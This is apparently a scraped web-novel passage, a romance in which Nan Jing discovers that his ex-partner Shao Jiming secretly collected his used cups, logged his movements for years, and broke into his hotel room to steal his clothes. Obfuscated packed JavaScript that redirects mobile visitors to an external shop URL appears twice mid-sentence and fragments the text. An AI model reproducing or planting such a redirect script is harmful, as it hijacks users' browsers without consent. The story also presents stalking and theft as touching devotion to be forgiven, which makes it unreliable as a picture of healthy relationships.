南景静静地听着,看着眼前这个哭得浑身颤抖、却将一颗鲜血淋漓的心毫无保留捧到他面前的男人。五年前离开时的决绝,五年间听闻他消息时的复杂心情,重新靠近时的警惕试探,以及这段时间以来,那些依赖和小心翼翼的靠近。 他没有对邵既明的告白做出任何语言上的回应。 他只是重新转过头,将目光投向了那扇紧闭着象征着他们过去所有爱恨纠葛的大门。 然后,在南景和邵既明的目光注视下,他上前一步,伸出手,握住了那冰冷的、记忆犹新的黄铜门把手。 “咔哒。” 一声轻响,在寂静的夜色中清晰可闻。 五年前他带着满身疲惫和心灰意冷,从这里转身离开,将过去连同这扇门一起,重重关上。 五年后的今夜,在邵既明近乎泣血的告白声中,他再次站在这扇门前。 这一次,他手上微微用力。 门,向内缓缓开启。 “嗒”一声轻响,客厅顶灯亮起,照亮了眼前熟悉的景象。南景站在门口,目光缓缓扫过室内。陈设一如他离开时的模样,甚至比他记忆中更为……整洁。米白色的沙发,铺着那条他亲自挑选的羊毛毯,毯子被仔细抚平。茶几上,那两个他一时兴起买回来的、印着简约线条的情侣马克杯,依旧静静地摆放在一起。角落里的琴叶榕和龟背竹生长得甚至比他离开时更为茂盛葱郁,叶片油亮,不见一丝枯黄,显然被精心侍弄着。地板光可鉴人,没有有任何久无人居的尘味。 一切都还在。仿佛这五年的时光从未流逝,他只是出了一趟远门,而有人一直在尽心尽力地守护着这个家,等待他某天推门归来。 这比看到一片破败狼藉,更让南景感到一种沉闷的窒息感。这不是怀念,这是标本式的封存,是另一种形式的偏执。 “鞋。”邵既明的声音在身后响起。南景低头,看见自己脚边放着一双深和他当年穿惯的那双一模一样。 “是新的,”邵既明蹲下身,将拖鞋又往他脚边推了推,低着头,不敢看他的眼睛,“一模一样的。之前的……被我穿坏了。” 南景沉默地看着那双崭新的拖鞋,又看了看邵既明低垂的的头顶。他没有说话,只是沉默地换上了鞋。 他在客厅中央站定,没有坐,只是环视了一圈,然后,将目光投向通往二楼的楼梯。周冉的话在耳边回响——“书房,卧室……受不了就报警。” 他深吸一口气,转向一直像影子般跟在他身后、紧张得几乎要同手同脚的邵既明。 “带我去书房。” 这句话像一道惊雷,劈在邵既明紧绷的神经上。他猛地抬起头,脸色“唰”地一下变得惨白,嘴唇失去了所有血色,眼睛瞬间蒙上了一层恐惧和哀求。他下意识地后退了半步:“南景……不……能不能……” “有什么是我不能知道的吗?”南景打断他,眸光中清晰地映出邵既明惊慌失措的脸。 邵既明看着他,泪水迅速蓄满了眼眶,摇摇欲坠。他知道,躲不过去了。他那些藏在光鲜整洁表象下腐烂发臭的秘密,终究要暴露在南景的目光下。他怕南景厌恶,怕南景觉得他恶心变态,怕好不容易才重新牵起的手,会因为看到那些而再次冰冷地甩开。 可是,南景想看。南景想知道。 邵既明死死咬着下唇,直到尝到一丝血腥味,才极其艰难地,摇了摇头。没有什么是南景不能知道的。他的一切,好的,坏的,疯的,丑的,本来就都该属于南景。他只是……怕失去。 “那就带我去。”南景看着他眼泪无声滑落、却依旧强忍着点头的样子,心里那点因为周冉警告而升起的冷硬猜疑。邵既明到底在害怕什么?害怕到即使如此恐惧,也依旧选择顺从? 邵既明没有再哀求。他伸出冰凉颤抖的手,犹豫了一下,没有去牵南景,只是轻轻拉住了南景的衣袖一角,攥得紧紧的。然后,他转过身,带着南景,一步一步,踏上楼梯。 走到门前,南景停下了脚步。他没有去碰那个黄铜门把,只是沉默地看着。邵既明站在他身侧,抓着他衣袖的手抖得厉害,呼吸急促。 几秒钟的死寂。然后,邵既明睁开眼,他松开了抓着南景衣袖的手,向前一步,伸手,握住了冰凉的门把手。 “咔。” 门开了。 没有预想中的灰尘味,或者什么诡异刺鼻的气息。 邵既明率先走了进去,侧身让开。南景紧随其后,踏入书房。 书房很大,三面墙都是顶天立地的书架,上面依旧整齐地码放着各种书籍和文件,大部分是邵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046518|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既明工作相关的金融法律类,也有不少他们以前一起买的文学、历史和艺术书籍。靠窗是宽大的书桌和皮质转椅,一切看起来都……正常得过分。和周冉那充满警告意味的提示似乎完全不搭。 然而,南景的目光,几乎是在踏入房间的瞬间,就被书桌侧后方、靠墙放置的一个东西牢牢吸引了过去。 那是一个约一人高、通体透明、类似博物馆展柜的恒温玻璃立柜。柜体纤尘不染,内部打着柔和而不刺眼的冷白光,温度显然被精确控制。而柜子里陈列的东西—— 杯子。 各种各样、材质、形状、颜色各异的杯子。有透明的玻璃杯,印着酒店logo的瓷杯,高级餐厅的骨瓷杯,甚至还有一两个一次性纸杯。它们被整齐地摆放在特制的架子上,每一个下面都垫着柔软的黑色绒布。 “这是什么?”南景的声音有些发干,他指了指那个玻璃柜,目光从那些杯子上移开,看向旁边脸色惨白、几乎要站不住的邵既明。书房里除了这个突兀的玻璃柜,似乎和五年前并无二致。难道周冉说的“受不了就报警”,指的就是这个?一堆……杯子? 邵既明垂下眼帘,浓密的睫毛剧烈颤抖,声音低得几乎听不见:“是……是你喝过的水杯。” “我喝过的水杯?”南景重复了一遍,眉头紧紧蹙起,一时没理解这句话的含义。他喝过的杯子,怎么会出现在这里?还以这种……近乎供奉的方式保存着? “……嗯。”邵既明点了点头,似乎用尽了全身力气,才抬起手,指向书桌的一个抽屉。南景顺着他的目光看去。邵既明走过去,拉开那个抽屉,从里面拿出一个厚厚的、黑色封皮的活页文件夹。他双手捧着文件夹,走到南景面前,递给他,手指还在不受控制地轻颤。 南景接过文件夹,触手是冰凉的皮质。他翻开。 里面不是文件,而是一张张A4纸,每张纸上都贴着照片——正是玻璃柜里对应杯子的清晰照片。而照片旁边,是手写的详细记录: 【日期:20XX.03.22】 【地点:XXXX峰会论坛】 【物品:印有会议LOGO的瓷杯】 【备注:南景作为嘉宾发言,喝了两口水。唇印位置:杯沿偏右。】 一页,又一页。时间跨度长达数年,遍布不同城市,不同场合。日期,地点,物品,甚至他喝了什么,喝了多少,停留多久,唇印位置……事无巨细,记录在案。而“取得方式”一栏,那些“留作纪念”、“赔偿换走”、“直接取走”的字眼,冰冷地揭示着这些杯子是如何跨越千里、排除“万难”,最终被收集到这个恒温柜里。 南景一页页翻看着,手指越来越凉,血液仿佛在瞬间冻结,又在下一秒轰然冲上头顶。他不是没见过偏执,不是没体会过邵既明病态的爱与依赖,但眼前这种长达数年的、近乎跟踪狂般的细致记录和物品收集,依然超出了他所有的想象和理解范畴。 他猛地抬起头,看向邵既明。邵既明在他翻阅时,一直死死地低着头,双手紧握成拳,指甲深深掐进掌心,身体因为恐惧和羞耻在剧烈颤抖。 然而,当南景的目光落在他身上时,预想中的暴怒或斥责并没有到来。南景只是静静地看着他,看了很久。然后,南景忽然很轻、很轻地,叹了口气。 那叹息里,没有厌恶,没有愤怒,到是有些心疼。 他合上文件夹,指尖在冰凉的封皮上停留片刻,然后,他开口:“就这些?”他问,目光再次扫过那个装满杯子的玻璃柜,“还有什么,是我不知道的?” 邵既明被他这过于平静的反应弄懵了,他怯怯地抬起头,对上南景深邃的眼眸。那里面没有他害怕的鄙夷。邵既明的心稍微定了定,但随即又被更大的不安攫住。他犹豫着,嘴唇哆嗦了几下,才坦白道:“还……还有。我……我经常会趁你不注意的时候,拿走你喝剩下的……半瓶水。”他顿了顿,似乎在回忆,声音低如蚊蚋,“矿泉水,苏打水……都有。我会偷偷喝掉。” 南景闭了闭眼。心脏的位置传来一阵闷闷的抽痛。不是为自己被如此关注而感到冒犯或恐惧,而是为眼前这个人。为他这五年来,是如何靠着这些冰冷虚幻的痕迹,在无边的黑暗和病痛中,一点点熬过来的。为他这份早已扭曲变形、却依旧执着得令人心碎的爱。 他睁开眼,目光重新落在邵既明苍白脆弱、写满惶恐和等待审判的脸上。 南景向前走了一步,缩短了两人之间的距离。他伸出手,不是去拿那个文件夹,也不是去碰那个玻璃柜,而是轻轻地,落在了邵既明低垂的头上。 掌心下,发丝柔软,带着凉意。 “邵既明……” “你怎么这么傻。” 这五年的分离,两个人的地狱。一个在漂泊中试图遗忘,一个在深渊里执着雕刻。 而此刻,站在这个布满证据的书房里,南景终于彻底看清,邵既明跌落得有多深,陷得有多绝望,那份爱,又如何在绝望中开出了怎样畸形、却依旧顽固无比的花朵。 他抬起手,用指腹,极轻地,擦去了邵既明脸上滚落的泪珠。 有些真相,看见了,理解了,便再也无法转身离开。 68. 他靠偷窃我的生活痕迹活着2 从书房到卧室的那短短几步路,邵既明走得如同踩在刀尖上。书房里那些杯子和记录虽然令人心惊,但毕竟隔着一层玻璃柜,一种近乎收藏癖的扭曲。可卧室……那里藏着的东西,是他连回想都会感到浑身战栗、羞耻到无以复加的秘密,是真正将他最后一点体面和尊严都剥得干干净净的、最不堪的东西。 南景沉默地跟在他身后,脸上没什么表情,但眼神比在书房时更加深沉。卧室里,还有什么? 邵既明颤抖着手,推开了主卧的木门。熟悉的场景再次映入眼帘——宽敞的房间,巨大的落地窗被厚重的遮光窗帘掩着,床铺得整整齐齐。空气里有属于邵既明常用的那款冷冽木质调香薰的味道。 南景的目光扫过房间。和他离开时相比,变化不大。只是他当年决绝离开时,刻意从床头柜上收走、扔进抽屉深处的那个相框,又被重新摆回了原处。 但除了这个相框,卧室看起来一切正常,甚至正常得有些刻意。没有书房里那种突兀的玻璃柜,也没有任何一眼就能看出的异常。周冉的警告言犹在耳。 他转向僵立在门口、脸色比刚才更加惨白、几乎要站不住的邵既明,直接问道:“卧室里,有什么是我不知道的吗?” 邵既明的心脏在胸腔里疯狂擂动,撞得他耳膜嗡嗡作响,呼吸开始变得急促而不规律,额角渗出细密的冷汗,手指冰凉僵硬——这是情绪即将失控、癔症可能发作的前兆。他感到一阵天旋地转的晕眩,眼前南景的身影开始有些模糊。 就在这时,一只温热干燥的手,稳稳地握住了他冰冷颤抖的手。是南景。他不知何时走到了他面前,拉过他的手,将他微微汗湿的手指包裹在自己的掌心。 “别怕。”南景看着他瞬间泛红、蓄满惊恐泪水的眼睛,“都告诉我。邵既明,我想了解你。全部的你。” 邵既明急促的呼吸平复了一点点,狂跳的心脏似乎也找到了一个可以依附的节奏。他抬起泪眼,看着南景沉静而坚定的眼眸,那里面没有厌恶,没有不耐,只有一片深沉的平静。 他像是被这目光赋予了某种孤注一掷的勇气。他反手,更紧地握住了南景的手。然后,他牵着南景,没有走向大床,而是转向了卧室一侧,那扇通往衣帽间的门。 推开衣帽间的门,顶灯自动亮起。这是一个相当宽敞的步入式衣帽间,设计简约,一面是邵既明的衣物,按照季节和颜色整齐悬挂,另一面则空置着,只有几个孤零零的衣架,那是曾经属于南景的位置。 邵既明没有在空旷的那面停留,而是牵着南景,走到了属于他自己的那排衣柜尽头。那里看似是实木墙壁,与周围浑然一体。邵既明松开南景的手,深吸一口气,伸出手,在那面墙的某个不起眼的接缝处,用力一推—— “墙”无声地向内滑开,露出了一个隐藏的小空间。没有灯,借着外面衣帽间的光线,能隐约看到里面的情形。 南景的瞳孔,在看清里面景象的瞬间,猛地振缩了一下,一股寒意顺着脊椎窜上头顶,随即又被难以名状的震惊和心痛淹没。 那不是一个储藏间,也不是一个秘密隔间。 那是一个“窝”。 一个用衣物,凌乱而又似乎有某种内在规律地,堆叠、围拢而成的,类似巢穴或兽窝的空间。衣物大多是深色,材质柔软,有毛衣,有卫衣,有长裤……它们被层层叠叠地铺在地上,堆在角落,形成一个堪堪能容纳一个成年人蜷缩其中的凹陷。 而让南景血液几乎冻结的是,那些衣物,他看起来……无比眼熟。 “这些……”南景的声音干涩得厉害,他几乎不敢确认,目光从那些衣物上移开,死死盯住邵既明瞬间血色尽褪、羞愧得恨不得立刻死去的脸,“是我的衣服?” 邵既明根本不敢看他的眼睛,他死死低着头,盯着自己的脚尖,仿佛那里有个能让他钻进去的洞。他全身都在细微地颤抖,喉咙里发出呜咽。过了仿佛有一个世纪那么久,他才用几乎听不见的气音,承认: “嗯……都是,你的衣服。” “我的衣服,我几乎都带走了。”南景强迫自己冷静,试图理清逻辑,“这些……是哪里来的?”他离开时,带走了绝大部分个人物品,除了少数几件邵既明随手给他带的。而眼前这个“窝”里的衣物,数量不少,而且明显不是他丢弃的旧物。 沉默。令人窒息的沉默在狭小的衣帽间里蔓延。邵既明的身体抖得更厉害了,他似乎在用尽全身力气与某种本能对抗,与那几乎要冲破喉咙的羞耻感和恐惧对抗。 最终,像是耗尽了所有力气,他颓然地垮下肩膀,声音嘶哑破碎,将自己最不堪、最难以启齿的秘密之一,剖开在南景面前: “我……偷的。” “偷的?”南景重复。偷?邵既明?去偷他的衣服? “嗯。”邵既明闭了闭眼,滚烫的泪水终于冲破防线,汹涌而出,顺着他苍白的脸颊滑落,滴在光洁的地板上。“偷的。” “什么时候?”南景追问,声音紧绷。他需要知道,这疯狂的行为是从何时开始,持续了多久。 “……第一次,是在,北海道。”邵既明哽咽着,每一个字都像是从齿缝里挤出来。 北海道。南景的脑海迅速检索记忆。他记得,在北海道的某个温泉旅馆,他确实丢了两三件衣物。当时周冉还调侃他,是不是被什么有特殊癖好的怪叔叔盯上,拿去做什么不可描述的事情了。他当时只当是玩笑,或是自己粗心忘在了哪里。原来……不是玩笑。 “你在那?”南景记得很清楚,在北海道的行程里,他没有见到邵既明,甚至没有察觉到任何被跟踪的迹象。他们先是在一个海岛上过了年,后来邵既明出现,他们第二天就换了地方,之后他们便去了北海道。 邵既明点了点头,泪水流得更凶:“嗯。后来……教你滑雪的那个教练……是我。” 南景的呼吸骤然一滞!记忆的闸门轰然打开。在北海道的滑雪场,他因为生疏,找了一位教练,中途那位教练说不舒服,就换了一位教练。那位教练戴着护目镜和面罩,几乎遮住了整张脸,说话声音有些低哑,带着口音,但教得很耐心,甚至有些过于体贴。他当时只觉得这位教练有些沉默,但技术不错。现在想来,那份沉默和偶尔过于专注的凝视……原来如此! “那你怎么会拿到我房间的门卡?”南景继续追问,逻辑链必须清晰。即使是教练,也不可能拿到客人房间的门卡,更不可能知道他具体住哪间房,去偷拿换洗衣物。 邵既明的头垂得更低,几乎要埋进胸口,直接出卖了秦朗:“是我哥……秦朗……他给了我你房间的房卡……” 秦朗!南景的太阳穴突突直跳。他就知道!那个看似不靠谱、实则对弟弟无底线宠溺的秦朗,在这件事里绝对脱不了干系!难怪周冉会说“受不了就报警”,这何止是变态跟踪,这简直是兄弟合谋的非法侵入和盗窃! “……那多少是有点变态了啊。”南景沉默了许久,才从牙缝里挤出这句话。 这句话彻底击垮了邵既明。他猛地抬起头,脸上泪水纵横,嘴唇哆嗦着,崩溃地哭喊出来:“是!是变态!是我不对!是我不对呜呜呜呜……”他哭得撕心裂肺,上气不接下气,仿佛要把五脏六腑都哭出来,“随便进别人的房间……还偷别人的东西……很不对!我知道!我都知道!我哥他骂过我了!狠狠骂过我了!呜呜呜呜……” 他哭得几乎站立不稳,南景不得不伸手扶住他颤抖的肩膀。邵既明就势抓住南景的手臂,将滚烫的、满是泪水的脸埋进他的臂弯,哭得更加绝望:“可是我控制不住我自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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终于,在令人窒息的沉默后,邵既明用几乎颤抖的语调,吐出了那个他最为羞于启齿、也最能体现他病态依赖到了何种地步的秘密:“我……我还拿你的衣服……”他顿了顿,仿佛用尽了毕生的勇气,才从喉咙里挤出最后几个字,“……自我安慰。” 话音落下的瞬间,邵既明像是被抽走了所有骨头,整个人软了下去,如果不是南景还扶着他,他几乎要瘫倒在地。他死死地闭着眼睛,泪水却依旧从紧闭的眼缝中不断渗出,全身因为极致的羞耻和暴露而剧烈颤抖。他不敢想象南景此刻看他的眼神,一定是充满了最深的厌恶和恶心吧?一个不仅偷他衣服、躲他衣柜、还用他衣服做那种事情的、彻头彻尾的变态、跟踪狂、疯子! 南景站在原地,扶着他,很久没有说话。 南景的目光,从邵既明那羞耻得通红、布满泪痕的脸上,缓缓移向那个窝,又移回邵既明的脸。 他的心里,没有预想中的暴怒、恶心或强烈的排斥。 只有一沉重到令他几乎也要落下泪来的心疼。 他看着邵既明,这个曾经骄傲、耀眼、如今却苍白脆弱、被病痛和执念折磨得面目全非的男人。这个用最笨、最错误、最不堪的方式,试图抓住一点关于他的虚幻温暖,在无边的黑暗里独自挣扎了五年的男人。 又笨。 又可怜。 又……惨。 南景深深地,吸了一口气。然后,他伸出手臂,将那个颤抖的身体,更紧地,搂进了自己怀里。 没有安慰的话语,没有指责的言语。 真相往往比想象更残酷。但看清了全部真相之后,是转身离开,还是…… 南景收紧手臂,将脸埋进邵既明汗湿的发间,闭上了眼睛。 他选择了拥抱。 69. 我也很理智,但爱情控制不住 秋意渐深,别墅花园里的梧桐和银杏叶落了大半,金黄与赭红铺了满地,在午后的阳光下像一幅浓烈又寂寥的油画。一个多月后,南景搬回了这栋别墅,没有大张旗鼓,只是在一个寻常的周末,带着简单的行李,和亦步亦趋、眼中却重新焕发出安定光彩的邵既明,平静地回来了。 日子似乎进入了某种新的轨道。邵既明肉眼可见地好了些。不是那种药物强压下的乖顺,而是一种从内而外、缓慢滋生的踏实。他不再需要时刻确认南景的位置。 周冉是午后过来的,她走进客厅时,南景正挽着袖子,将最后一箱从公寓搬来的书籍和文件的纸箱打开,将里面的东西分门别类,准备放入重新整理过的书架。 邵既明不在,被唐医生约了下午去做定期的心理评估和药物调整咨询,秦朗自告奋勇陪他去了——用秦朗的话说,“我得去听听唐医生又有什么高见,顺便盯紧我弟,别让他又偷偷把药吐了”。 周冉踱步到南景身边,看着他仔细地将一本本硬壳画册和建筑年鉴按顺序排列。她没说话,只是目光随着南景的动作移动,脸上是惯常的慵懒,眼神却比平时深了些。 南景将最后一本书放好,直起身,拍了拍手上的灰,才转身看向周冉:“来了。坐。茶还是咖啡?” “白水就行。”周冉在沙发上坐下,长腿交叠. “看到那些,”她顿了顿,似乎在斟酌用词,但最终还是选择了最直接的,“书房柜子里的杯子,卧室衣帽间那个……窝,还有他说的那些事……偷衣服,闯空门,用你衣服……”她没说完,但意思明确,美丽的眼睛一瞬不瞬地看着南景的背影,“你还能接受他?搬回来,和他一起住?” 这个问题并不突兀,甚至在意料之中。南景倒水的动作没有丝毫停顿。他端着两杯水走回来,将其中一杯放在周冉面前,自己在她对面的单人沙发坐下,没有立刻回答,而是微微侧头,目光投向窗外那片落叶纷飞的庭院。 “如果没有前段时间,亲眼看着他发病的样子,”他顿了顿,目光依旧看着窗外,“一次又一次,崩溃,木僵,梦游,蹲在门口,抓着玻璃不放手,哭得喘不上气,说着‘看不见你这里就生病了’……如果没有那些,仅仅是听说,或者像那天晚上一样,突然看到那些证据……” 他收回目光,看向周冉,眼神深静:“我可能,就不会接受了。” 周冉挑了挑眉,没打断,等着他继续说。 “听到,或者看到结果,你会觉得恐怖,变态,不可理喻,甚至……恶心。你会想,这个人疯了,没救了,离他越远越好。因为那是抽离了过程、剥离了前因、只呈现最扭曲果实的片段。就像只看一具狰狞的骷髅,会觉得可怕,却不会去想这骷髅曾经是怎样的血肉之躯,又经历了怎样的侵蚀和崩坏。” 他端起水杯,喝了一口,水温正好。“但如果你亲眼看着那血肉是怎样一点一点腐烂、剥落,看着那个人在腐烂的过程中经历了怎样的痛苦、挣扎、自我厌恶和绝望的呼喊,看着他是如何用尽最后的力气,徒劳地想要抓住什么来阻止坠落……你看过了全过程,看过了那疯狂表象下,每一寸伤口是怎样形成的,每一次失控背后是怎样的恐惧在驱动……” 南景放下杯子,目光再次变得悠远:“你就很难再仅仅用变态、恶心这样的词去简单评判。你会看到那疯狂背后的……为什么。看到那份爱,是如何在极端的不安全感、病痛、药物副作用和漫长的分离中被扭曲、异化,变成了那种可怕的形态。但它的内核,那份不想失去你、需要你、爱你的执念,却始终没有变,甚至因为扭曲而显得……更惨烈,更顽固。” “我看到那些杯子,那个窝,听到他坦白那些事的时候,当然震惊,当然觉得……不对,甚至毛骨悚然。但紧接着,我想到的是他在巴塞罗那攥着玻璃流血的手,是他半夜蹲在门口茫然的眼神,是他哭着说‘看不见你这里就生病了’的样子,是这几个月来,他一点点努力变好,记住我所有喜好,小心翼翼地想靠近又怕被讨厌的模样……” “把所有这些画面连起来,你看到的就不是一个单纯的跟踪狂或变态。你看到的是一个生了重病的人,在用错误、甚至可怕的方式,对抗他无法承受的失去和痛苦。而他的病,很大程度上,是因我而起,也有我的责任。” 周冉静静地听着,她知道南景理智,却没想到他能理智、冷静到如此透彻地剖析这一切,包括他自己的责任和感受。 “所以,不是还能不能接受,而是……在我看过全部之后,我无法再转身离开,假装没看见,或者仅仅因为恐惧和不适就否定一切。那对他不公平,对我自己……也不诚实。我承诺了好好照顾他,这个承诺,包括了接受他的过去,包括那些不堪的部分。因为那也是他的一部分,是他走到今天的原因。” 周冉看了他很久,才慢慢开口,语气不再带着试探,而是朋友间的认真:“你想清楚了?这不是一时心软或者责任捆绑。你们之间……横着五年的空白,那么深的伤害,还有他现在依然存在的病情。未来可能还会有反复,甚至……可能出现新的问题。你们面对的,不只是谈恋爱,是和一个病人一起生活,可能需要很长时间,甚至一辈子。” “我想清楚了。”南景回答得没有一丝犹豫,“不是心软。心软早在看到他第一次崩溃时就该有了。也不是单纯的责任。责任不会让我主动牵他的手,不会在他哭着告白时回抱他,更不会搬回这里。是选择。周冉,我选择重新接纳他,包括他的病,他的过去,和他可能并不轻松的未来。我选择试着去爱这个破碎过、正在努力修补的邵既明。不是因为同情,而是因为……因为在我自己都没意识到的时候,那道裂缝已经存在了,冰雪已经化了。而他,恰好是能让那片土地重新生长出东西的人,虽然过程很痛,代价很大。” 他看向窗外,院子里,一阵风吹过,卷起几片金黄的银杏叶,打了个旋,又缓缓落下。“至于未来,我知道不容易。他的病会反复,我们都需要学习如何相处,如何建立健康的边界,如何应对可能的危机。但至少,我们现在站在了一起。有问题,一起面对,一起解决。总好过他一个人在那片黑暗里挣扎,而我假装看不见。” 周冉终于点了点头,脸上的神情松弛下来,甚至带上了一丝淡淡的笑意,那笑容里有关心,有释然,也有祝福。“行,你心里有数就行。南景,你一直比我们谁都清醒,也都能扛事。这条路是你自己选的,那就好好走下去。需要帮忙的时候,吱声。秦朗那个二货虽然不靠谱,但使唤起来还行。” “谢谢。”南景对她笑了笑。 “不过,”周冉话锋一转,又恢复了点戏谑,“你们这算是……破镜重圆?不对,镜子都碎成渣了,是拿502和环氧树脂勉强粘了粘,还带着裂痕和缺角的那种。” 南景失笑,摇了摇头:“不算重圆。碎过的镜子,再怎么粘,裂痕也在,照出的人像也是扭曲的。我们更像是……把那些碎片扫到一起,没有强行去拼回原来的样子,而是打算用这些碎片,加上点新的材料,看看能不能烧制出一件……不一样的瓷器。可能不完美,可能易碎,但至少,是新的,属于我们两个人的。” 这个比喻让周冉微微一愣,随即眼底掠过一丝赞赏:“这个说法好。行,那就祝你们烧制顺利,别把窑给炸了。” 两人相视一笑,空气中那点严肃沉重的气氛消散了不少。 “对了,”周冉想起什么,“秦朗那傻子,最近天天琢磨着怎么把他弟不举的毛病治好,到处搜罗偏方,还偷偷问我有没有认识厉害的老中医。被我骂了一顿。这事儿,你……知道吧?” 南景脸上的表情没什么变化,只是耳尖有些微红,他端起水杯,掩饰性地又喝了一口,才平静道:“嗯。邵既明跟我说了。也问过唐医生。顺其自然吧,身体和情绪好了,其他都会慢慢恢复。急不来。” “也是。”周冉耸耸肩,“感情到位了,那些都是锦上添花,水到渠成。你们自己把握好节奏就行。” “南景,最后说一句。你能跨过心里那道坎,不容易。邵既明能遇到你,是他的造化。你们俩……以后都好好的。过去的,就让它真的过去。未来的日子,是你们自己过出来的。” 南景看着她,认真地点了点头:“嗯。我们会的。” 不是一切问题都已解决,不是所有伤痕都已愈合。 但至少,他们选择了面对,选择了并肩。他看清了邵既明所有的黑暗,依然选择了留下。邵既明剖开了自己所有的不堪,依然得到了接纳。 这就够了。 足够的爱,可以包容伤痕。足够的勇气,可以面对未来。足够的耐心,可以等待愈合。 不久,门外传来汽车引擎声,和秦朗咋咋呼呼的说话声,以及邵既明低声的回应。 南景放下手里的书,走到窗前。 他看到邵既明从车上下来,手里拿着一个纸袋,大概是唐医生开的药或者新的注意事项。他站在车边,仰头看着别墅,夕阳给他清瘦的身影镀上了一层毛茸茸的金边。他似乎感应到了什么,目光投向二楼窗户后的南景。 四目相对。 邵既明的眼睛,在夕阳下,清澈,明亮。他对着窗户,笑了笑。 那笑容不再有阴霾,不再有恐惧,只有一种尘埃落定后踏实的温暖。 南景也对他,缓缓地,弯起了嘴角。 然后,他看到邵既明转身,脚步轻快地,朝着家门走来。 秦朗那辆招摇的跑车刚在别墅门前熄火,他人还没完全钻出来,那带着点嘚瑟和过度关心的唠叨就已经透过车窗缝飘了出来:“所以说啊既明!哥给你找的那些教学资料,你到底认真看了没?不是光看,要揣摩!要领悟精髓!尤其是第三章第七小节讲的那个……哎你脸红了?这有什么好脸红的!都是成年人!理论知识必须扎实!实践才能出真知!” 邵既明手里捏着个印着唐医生诊所logo的纸袋耳根通红得像要滴血,恨不得把脸埋进纸袋里。他哥这嗓门,在安静的别墅区简直有穿云裂石的效果。他含糊地“嗯”了两声,脚步加快,只想赶紧进屋,逃离这公开处刑般的性教育小课堂。 秦朗锁了车,三两步追上来,胳膊哥俩好地搭在邵既明瘦削的肩膀上,浑然不觉自己音量有多大,继续谆谆教诲(洗脑):“你别不当回事!哥是过来人!经验之谈!你看你们今天刚搬回来,这叫什么?天时地利人和!烛光晚餐就算了,南景估计懒得搞,但气氛到了啊!这别墅,这回忆,这破镜重圆的感人戏码!晚上肯定得睡一块儿吧?同床共枕!干柴烈火!虽然你现在硬件暂时有点小故障……” 邵既明被他搂得一个趔趄,脸红得快要冒烟,小声打断:“哥!你小点声吧!邻居听见了!” “听见怎么了?咱这是普及科学知识,关心兄弟身心健康!”秦朗理直气壮,甚至更来劲了,压低声音凑到邵既明耳边,挤眉弄眼,“硬件故障不怕!不是说了嘛,你手还好好的吧?嘴也没坏吧?重点是要有服务意识!态度决定一切!技术可以练!哥跟你说的那些手法、角度、力度……你晚上好好回忆回忆教学资料,活学活用!保证让南景……” “秦朗!!!”邵既明终于忍不住,低吼一声,羞愤交加,一把甩开秦朗的胳膊,头也不回地冲进了敞开的别墅大门。 秦朗被他吼得一懵,随即摸着下巴嘀咕:“嘿,还害羞了?有进步啊,知道吼哥了,比之前那死气沉沉的样子强。”他也溜溜达达跟着进了门。 两人前一后进了客厅。邵既明正把装着药的纸袋小心放在玄关柜上,平复着过快的心跳和脸上的热度。秦朗则大剌剌地往沙发上一瘫,二郎腿一翘,目光在明显重新归置过、更显整洁温馨的客厅里扫了一圈,啧啧感叹:“还是这儿有家的样子,南景收拾东西有一手啊……哎,既明,你别傻站着啊,过来坐,哥再跟你强调几个重点……” 他话没说完,就听一个慵懒中带着寒意的女声,从通往厨房的走廊方向幽幽飘来:“我是不是光记得让保洁过来打扫卫生,收拾这破房子,没顾得上……收拾你啊?秦、总?” 秦朗一个激灵,差点从沙发上滑下来!他“噌”地坐直身体,脖子僵硬地转向声音来源,只见周冉端着杯水,斜倚在厨房门框上,似笑非笑地看着他,漂亮的眼眸里寒光闪烁,嘴角勾着一个让人心里发毛的弧度。 “老、老婆?!”秦朗瞬间切换狗腿模式,脸上堆起谄媚的笑,“你在楼下啊?哎呀,这点小事哪用你操心,我来监督就行!你坐,你坐!喝水吗?哦你正喝着……累不累?我给你捏捏肩?” 周冉慢悠悠地走过来,没搭理他的献殷勤,径直在沙发的另一头坐下,长腿交叠,好整以暇地看着他,又瞥了一眼旁边邵既明,才慢条斯理地开口:“我要是不在楼下,怎么能听到秦总这么……嗯,专业、热心的兄弟谈心呢?从教学资料到手法角度力度,从硬件故障到服务意识……秦朗,我以前怎么没发现,你还有当成人教育导师的潜质?怎么,秦氏集团要拓展新业务了?需不需要我帮你做个商业计划书,主打关爱兄弟下半?身幸福?” 秦朗被怼得脸上红一阵白一阵,但输人不输阵,尤其是不能在弟弟面前丢了一家之主(自封的)的面子,他梗着脖子辩解:“我、我这不都是为他好吗!他情况特殊!我这当哥的不得多操心点?实践出真知,理论指导实践!我这是传授宝贵经验!免得他走弯路,影响他们夫……夫……和谐生活!” “宝贵经验?”周冉嗤笑一声,上下打量着秦朗,“就你?秦朗,你那些经验,除了证明你肾还行,精力过剩,外加脸皮比城墙拐角还厚之外,还能证明什么?邵既明需要的是这个吗?南景是那种看手法技巧的人?” “怎么不需要了!”秦朗来劲了,试图拉盟友,指着邵既明,“既明,你说!哥说的有没有道理!你是不是看了哥给的资料,受益匪浅?是不是对今晚……有了新的规划和信心?” 邵既明被点名,恨不得原地消失。他低着头,脸红得能煎蛋,在秦朗灼灼的目光和周冉似笑非笑的注视下,挣扎了半天,才承认:“看……看了点……是,是学了些……不一样的……”他说完,恨不得把舌头咬掉。 